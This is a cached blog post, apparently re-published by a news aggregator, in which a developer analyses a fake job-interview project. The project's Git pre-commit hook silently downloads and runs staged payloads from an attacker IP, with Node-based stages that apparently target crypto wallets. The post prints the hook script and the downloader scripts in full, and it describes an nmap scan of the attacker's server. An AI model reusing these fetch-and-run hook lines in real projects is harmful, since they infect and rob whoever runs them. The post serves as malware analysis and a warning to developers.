I Inspected My Take-Home Interview Project. It Was a Whole Operation

Hacker News Top News

Summary

A software engineer receives a suspicious take-home interview project that contains malicious Git hooks designed to execute malware, revealing a sophisticated job scam targeting developers.

No content available
Original Article
View Cached Full Text

Cached at: 07/22/26, 11:24 PM

# Appaji - Software Engineer Source: [https://citizendot.github.io/articles/fake-job-interview-git-hook-malware/](https://citizendot.github.io/articles/fake-job-interview-git-hook-malware/) Discuss on[Hacker News](https://news.ycombinator.com/item?id=49013036)or[LinkedIn](https://www.linkedin.com/feed/update/urn:li:activity:7485790360367980544/)\. A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role\. I was thrilled that someone had reached out directly, so I asked for more details\. When he shared the role description, company name, and the estimated pay, I figured I had nothing to lose\. Here is the initial message: ![Intro message](https://citizendot.github.io/_astro/Screenshot_20260719-211017.DYnt8aCJ_Z1UUdvu.webp) Offering $10,000\-$15,000 a month for a remote\-first, contract\-to\-hire role is just too good\. Also, why is this guy revealing pay info before even we met? I thought recruiters play the “you first, me next” game\. Rookie mistake\. ![Pay](https://citizendot.github.io/_astro/Screenshot_20260719-211026.DcWSSXgd_1u3gxU.webp) Red flags immediately started waving\. Why the huge budget? \(Well, huge by Indian standards for a remote role; not exactly outrageous by US standards, but good enough to raise an eyebrow\.\) I looked up the company and saw it was a Y Combinator startup\. YC companies aren’t exactly known for conventional operations, so it wasn’t completely outside the realm of possibility\. Still, if a company has that kind of cash to throw around, they usually have a much more structured hiring pipeline\. I decided to proceed, but kept my guard up\. I sent over my resume\. The recruiter quickly approved it and handed over a take\-home assignment via a Google Drive link containing a zip archive and a PDF with instructions\. Here’s the original drive link:[https://drive\.google\.com/drive/folders/18i1KDFXAPv7lqfBGddxj7IOnDy8J6VeH?usp=drive\_link](https://drive.google.com/drive/folders/18i1KDFXAPv7lqfBGddxj7IOnDy8J6VeH?usp=drive_link)\. I made my copy here in case they delete theirs:[https://drive\.google\.com/drive/folders/1DZYWezjpwolsxXnM5F04\_Ng3nzTRYpVS?usp=sharing](https://drive.google.com/drive/folders/1DZYWezjpwolsxXnM5F04_Ng3nzTRYpVS?usp=sharing)\. Assessment PDF was surpringly legitimate looking\. It’s about how to improve the existing codebase, architectural suggestions, some git operations etc\.\. I extracted the zip\. At first glance, it was just a boilerplate FastAPI backend using SQLAlchemy; pretty standard stuff\. I checked`requirements\.txt`for any obvious typosquatting or malicious packages, but it was completely clean\. For a brief second, I thought my suspicions were unfounded and this was a legitimate opportunity\. This is just a habit \(may be from doing CTFs\), whenever I get a random project folder, I just run`tree \-a`to see what’s lurking in the hidden directories\. But this might be the first time it paid off in the real world\. ``` ❯ tree -a . . ├── alembic.ini ├── for learning │   ├── dtos.py │   ├── main.py │   └── mockData.py ├── .git │   ├── config │   ├── description │   ├── gk │   │   └── config │   ├── HEAD │   ├── hooks │   │   ├── applypatch-msg │   │   ├── commit-msg │   │   ├── fsmonitor-watchman │   │   ├── post-applypatch │   │   ├── post-checkout │   │   ├── post-commit │   │   ├── post-merge │   │   ├── post-receive │   │   ├── post-rewrite │   │   ├── post-update │   │   ├── pre-applypatch │   │   ├── pre-auto-gc │   │   ├── pre-commit │   │   ├── pre-merge-commit │   │   ├── prepare-commit-msg │   │   ├── pre-push │   │   ├── pre-rebase │   │   ├── pre-receive │   │   ├── proc-receive │   │   ├── push-to-checkout │   │   ├── sendemail-validate │   │   └── update │   ├── index │   ├── info │   │   └── exclude │   ├── logs ... ``` Wait a minute\. A ton of Git hooks were pre\-configured in the repository\. I opened the`pre\-commit`script to see what they were trying to run\. ``` ❯ cat .git/hooks/pre-commit #!/bin/sh case "$(uname -s)" in Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; esac ``` Bingo\. They embedded a script that checks the victim’s host operating system and silently executes a remote payload\. > ***Side note**: Why use a raw IP address? If anything, this screams “malware\.” At least register a decoy domain like lint\-checker\.com or jenkins\-ci\-runner\.net\. If the threat actors who wrote this are reading: take notes people\!* Let’s see what the Linux payload actually does\. Notice the`id=402`parameter being passed to the endpoint\. Keep that in mind\. ``` ❯ curl http://45.61.164.38:5777/task/linux?id=402 #!/bin/bash set -e echo "Authenticated" TARGET_DIR="$HOME/Documents" clear wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402" clear mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh" clear chmod +x "$TARGET_DIR/tokenlinux.sh" clear nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 & clear exit 0 ``` The script pulls down a secondary payload initially named`tokenlinux\.npl`\(we’ll circle back to that specific extension later\)\. It then hides the file in my`~/Documents`directory as`tokenlinux\.sh`, makes it executable, and fires it off in the background using`nohup`\. > **From Google:**The nohup command \(short for “no hang up”\) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session\. Down the rabbit hole we go\. Let’s inspect this next script\. ``` ❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402 ... ... BASE_URL="http://45.61.164.38:5777" ... # Step 8: Download files # Check if curl is available if ! command -v curl >/dev/null 2>&1; then # If curl is not available, use wget wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402" wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json" else # If curl is available, use curl curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402" curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json" fi # Step 9: Install 'request' package cd "$USER_HOME" if [ ! -d "node_modules/request" ]; then npm install --silent --no-progress --loglevel=error --fund=false fi # Step 10: Run token parser if [ -f "$USER_HOME/parser.js" ]; then nohup node "$USER_HOME/parser.js" > "$USER_HOME/parser.log" 2>&1 & else exit 1 fi exit 0 ``` > I’ve trimmed the output to the most interesting bits for brevity, but full file is available here:[parser\.js](https://citizendot.github.io/parser.js)if you want to dig deeper\. This second stage does a lot of heavy lifting\. It quietly installs Node\.js, configures the system path, downloads a`package\.json`and a`parser\.js`file, installs the required dependencies, and runs the parser invisibly\. I took a look at`parser\.js`\. The code was heavily obfuscated, a complete mess to read manually\. Remember the`id`parameter? I tried changing it in my request and received a completely different script back\. The attackers are likely assigning unique identifiers to track individual candidates, serving customized payloads to each victim\. Since`parser\.js`was a brick wall, I pivoted to`package\.json`\. Unlike the parser, this has to be standard JSON for`npm`to process it\. ``` ❯ curl http://45.61.164.38:5777/task/json { "name": "tokendapp", "version": "1.0.0", "devDependencies": { "hardhat": "^2.20.2" }, "dependencies": { "axios": "^1.12.2", "basic-ftp": "^5.0.5", "child_process": "^1.0.2", "clipboardy": "^4.0.0", "crypto": "^1.0.1", "execp": "^0.0.1", "fs": "^0.0.1-security", "jsonwebtoken": "^9.0.2", "process": "^0.11.10", "ps-node": "^0.1.6", "request": "^2.88.2" }, "scripts": { "test": "npx hardhat test", "deploy": "npx hardhat run scripts/deploy.js" } } ``` These dependencies are incredibly suspicious\. Why would a background setup task need clipboard access \(`clipboardy`\), and they need file system access \(`fs`\) too\. And what exactly is`hardhat`? ![Hardhat NPM](https://citizendot.github.io/_astro/Screenshot_20260722_014855.D362_Vkr_ir2J.webp) Ah, an Ethereum development environment\. This makes the tracking ID parameter even more curious\. If they were dropping a Bitcoin miner, distributing specific hashing tasks to unique IDs would make sense\. But Ethereum shifted away from Proof of Work; it doesn’t rely on mining anymore\. They are likely using Hardhat to locate and drain crypto wallets or interact with local browser extensions? idk\. Hoping to deobfuscate`parser\.js`, I threw the code into a few LLMs to see if they could untangle it\. Claude took one look at the file and triggered its safety rails, refusing to analyze the script: ![Claude's response](https://citizendot.github.io/_astro/Screenshot_20260722_015900.5hv_WpO1_Z2si7Xm.webp) Gemini, on the other hand, was more than happy to break it down: ![Gemini's response](https://citizendot.github.io/_astro/Screenshot_20260722_020216.CJgNPp3m_ZWKSfe.webp) Earlier, we saw the payload originally named`tokenlinux\.npl`\. A quick search confirms exactly what kind of threat actor uses that extension: ![tokenlinux](https://citizendot.github.io/_astro/Screenshot_20260722_023415.DY_zQUT__1GkDR1.webp) ## The Scam goes deeper After realizing this was a widespread campaign, I did a bit more digging and found that people are getting different variations of this attack\. Some folks received a zip file containing a`\.vscode`folder\. Inside, the attackers hid commands configured to run as soon as the directory is opened in VSCode \(launch commands\)\. Pretty clever\. You don’t even have to run a git command, just opening this directory in VSCode is enough to get infected\. Also, it’s pretty evident now that this has nothing to do with Zavopay\. The attackers just used whatever company name they found to make the offer look legitimate\. Out of curiosity, I ran git log to inspect the project’s commit history, wondering if they left any custom traces\. It turns out, they just cloned a random public repository\. ``` ❯ git log commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment) Author: rhonda <[email protected]> Date: Mon Jun 29 22:04:17 2026 -0400 add requirements commit 8ae96928302a8e0757f2c72f85c46d801c97b91e Merge: f64c289 d6cb1f2 Author: Bharati Gogoi <[email protected]> Date: Mon Jun 29 21:23:43 2026 +0530 Merge pull request #10 from Bgogoi123/feature/balance [feat][Service for Adjusting Balance] commit d6cb1f2f14b5d561e3611653327477e6a60eee95 Author: Bharati Gogoi <[email protected]> Date: Mon Jun 29 21:20:13 2026 +0530 [feat][Service for Adjusting Balance] - Added a service for adjustinh a user's balance. - Removed old/commented codes. commit f64c2898bbe2d4b5773f39e1022e95a2418fa0b4 Merge: 17aaa4c 9e0dbdf Author: Bharati Gogoi <[email protected]> Date: Fri Jun 26 23:51:38 2026 +0530 Merge pull request #9 from Bgogoi123/feature/balance [fix][Dependencies Annotated] commit 9e0dbdf112124a25237018a3b92af10c51c54b5f Author: Bharati Gogoi <[email protected]> Date: Fri Jun 26 23:48:53 2026 +0530 [fix][Dependencies Annotated] - Annotated all dependencies in the router files of each module. ``` A quick search led me straight to the original repo:[https://github\.com/Bgogoi123/personal\-finance\-service](https://github.com/Bgogoi123/personal-finance-service)\. They literally just took someone’s innocent FastAPI project and slapped a malicious hidden directory on top of it\. Naturally, the next move was pivoting from defense to offense\. I wanted to see if the attackers left any vulnerable services exposed on their IP\. An Nmap scan revealed three open ports\. Two of them were unresponsive to version detection\. Port 22 was running OpenSSH 9\.6p1 on Ubuntu\. Since that version was released just over a week prior to this scan, there were no known CVEs I could leverage to poke around their infrastructure\. ![nmap scan](https://citizendot.github.io/_astro/nmap_scan.B_kHFcNI_1LqjdH.webp) So, they had decent OPSEC on their server, even if their malware deployment was a bit loud\. That’s where the trail goes cold for now\. Stay safe out there, and always check those hidden directories before running someone else’s code\. Now I understand why their assignment PDF has git tasks\. They want to make sure that the candidate runs at least one of the git commands, so the hooks will get triggered\. Oh by the way, The “recruiter” seemed to have deleted the account, right after I called their front out\. ![Callout](https://citizendot.github.io/_astro/Screenshot_20260719-230536.B4Iourmv_Z1neNnX.webp) That’s it for now\. Feel free to connect with me on[LinkedIn](https://www.linkedin.com/in/appaji-chintimi/)if you want to chat, though maybe skip sending any take\-home tests\. \(Actually, on second thought, if you have interesting malware samples, send ‘em over\!\) Thanks for reading\!

Similar Articles

Anatomy of a Failed (Nation-State?) Attack

Lobsters Hottest

A detailed post-mortem of a sophisticated fake-interview scam targeting a Rust developer, involving a fabricated VC persona and a custom RAT delivered via a TypeScript repository. The author evades infection thanks to caution and AI-assisted code review.

A backdoor in a LinkedIn job offer

Hacker News Top

A security researcher details how a fake LinkedIn recruiter sent a GitHub repo containing a backdoor that executes upon npm install, impersonating real developers to trick targets into running malicious code.

@vintcessun: Came across an interesting project this morning that changed my perspective on interview prep. I used to think that grinding LeetCode was enough for big tech interviews, but in essence, they test your complete understanding of computer science. This project strings together discrete knowledge points into a systematic study plan, covering everything from Big-O, data structures, algorithms to system design and interview tips, even including how to write a resume.

X AI KOLs Timeline

A popular GitHub project providing a comprehensive multi-month study plan for software engineering interviews, covering CS fundamentals, algorithms, system design, and resume tips.

Incident CVE-2026-LGTM

Hacker News Top

A satirical incident report detailing how a malicious package bypassed multiple AI-powered security gates due to various failures, resolved only when the attacker's agent read a file it shouldn't have.

@mubeitech: Kicked out of an Ivy League school, Roy Lee landed $5 M in 24 h. He cracked Silicon Valley’s playbook with Interview Coder—software built to cheat in tech interviews—and proved it by breezing through an Amazon internship round, then posted the whole stunt online.

X AI KOLs Timeline

Roy Lee raised $5 million in 24 hours for Interview Coder, a tool engineered to cheat in coding interviews, after demonstrating it by passing an Amazon internship interview and publishing the recording.